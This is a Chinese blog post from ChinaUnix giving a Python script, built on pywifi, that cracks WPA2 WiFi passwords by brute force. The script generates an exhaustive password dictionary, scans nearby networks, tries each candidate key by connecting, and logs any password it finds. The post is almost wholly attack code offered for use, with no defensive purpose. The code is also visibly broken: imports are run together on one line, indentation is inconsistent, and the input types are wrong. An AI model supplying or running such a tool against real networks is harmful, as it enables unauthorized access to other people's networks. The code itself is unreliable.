Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3597274
  • 博文数量: 365
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 2522
  • 用 户 组: 普通用户
  • 注册时间: 2019-10-28 13:40
文章分类

全部博文(365)

文章存档

2023年(8)

2022年(130)

2021年(155)

2020年(50)

2019年(22)

我的朋友

分类: Python/Ruby

2020-12-11 17:23:01

1 生成字典文件(密码本)
def product_passwd(length):
    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = its.product(words,repeat=length)
    dic = open('paswwer.txt','a')
   for i in r:
        dic.write(''.join(i))
        dic.write(''.join('\n'))
        print(i)
  dic.close()
    print('密码本生成完毕!')
2 搜索附近的wifi名称(生成wifi_ssid列表)
def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()
 n=0
    print("%12s%20s%20s"%("【无线名称】","【mac地址】","【信号强度】"))
    print("="*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print("="*60)
3 穷举字典中的组合
def readPassWord(self):
        print("开始破解:")
        while True:   
            try:
                passStr = str(self.file.readline())
                print(" 正在尝试:" + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print("恭喜你,找到密码! 正确密码为:" + passStr)
                    break
                else:
                    print(" 密码错误!\n","="*35)
                    time.sleep(3)
            except: 
                continue
        with open('result.txt','a+') as fw: 
            fw.write('WiFi名称:%s  密码:%s'%(wifiname,passStr))
4 验证WiFi是否连接成功
def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
【完整代码】
# -*- coding: utf-8 -*-
import timeimport pywifi from pywifi import constimport itertools as its
maclist = []
wificount=15
def product_passwd(length):
    words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = its.product(words,repeat=length)
    dic = open('paswwer.txt','a')
    for i in r:
        dic.write(''.join(i))
        dic.write(''.join('\n'))
        print(i)
    dic.close()
    print('密码本生成完毕!')
product_passwd(input("请输入要生成的密码本密码长度:"))    
def getwifi():
    wifi=pywifi.PyWiFi() 
    ifaces=wifi.interfaces()[0]
    ifaces.scan()  
    time.sleep(3)   
    result = ifaces.scan_results()
    n=0
    print("%12s%20s%20s"%("【无线名称】","【mac地址】","【信号强度】"))
    print("="*60)
    for data in result:
        if(data.bssid not in maclist): 
            maclist.append(data.bssid)
            if n<=wificount:
                print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
                n=n+1
                time.sleep(2)
    print("="*60)
class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  
        self.iface = wifi.interfaces()[0] 
        print("获取到的无线网卡:")
        print(self.iface.name())  
        self.iface.disconnect()  
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]  
    def readPassWord(self):
        print("开始解:")
        while True:   
            try:
                passStr = str(self.file.readline())
                print(" 正在尝试:" + passStr)
                if not passStr:
                    break
                bool1 = self.test_connect(passStr)
                if bool1:
                    print("恭喜你,找到密码! 正确密码为:" + passStr)
                    break
                else:
                    print(" 密码错误!\n","="*35)
                    time.sleep(3)
            except: 
                continue
        with open('result.txt','a+') as fw: 
            fw.write('WiFi名称:%s  密码:%s'%(wifiname,passStr))
    def test_connect(self, findStr):  
        profile = pywifi.Profile()  
        profile.ssid = wifiname 
        profile.auth = const.AUTH_ALG_OPEN  
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  
        profile.cipher = const.CIPHER_TYPE_CCMP  
        profile.key = findStr  
        self.iface.remove_all_network_profiles()  
        tmp_profile = self.iface.add_network_profile(profile)  
        self.iface.connect(tmp_profile) 
        time.sleep(3)
        if self.iface.status() == const.IFACE_CONNECTED: 
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  
        time.sleep(1)
        return isOK
    def __del__(self): 
        self.file.close()
getwifi()
wifiname = input("请输入WiFi名称:")  # wifi名称)
path = input('请输入字典文件路径:')
#r"D://Data/Python/wifi/dictionary.txt"
start = PoJie(path)
start.readPassWord()

阅读(2176) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~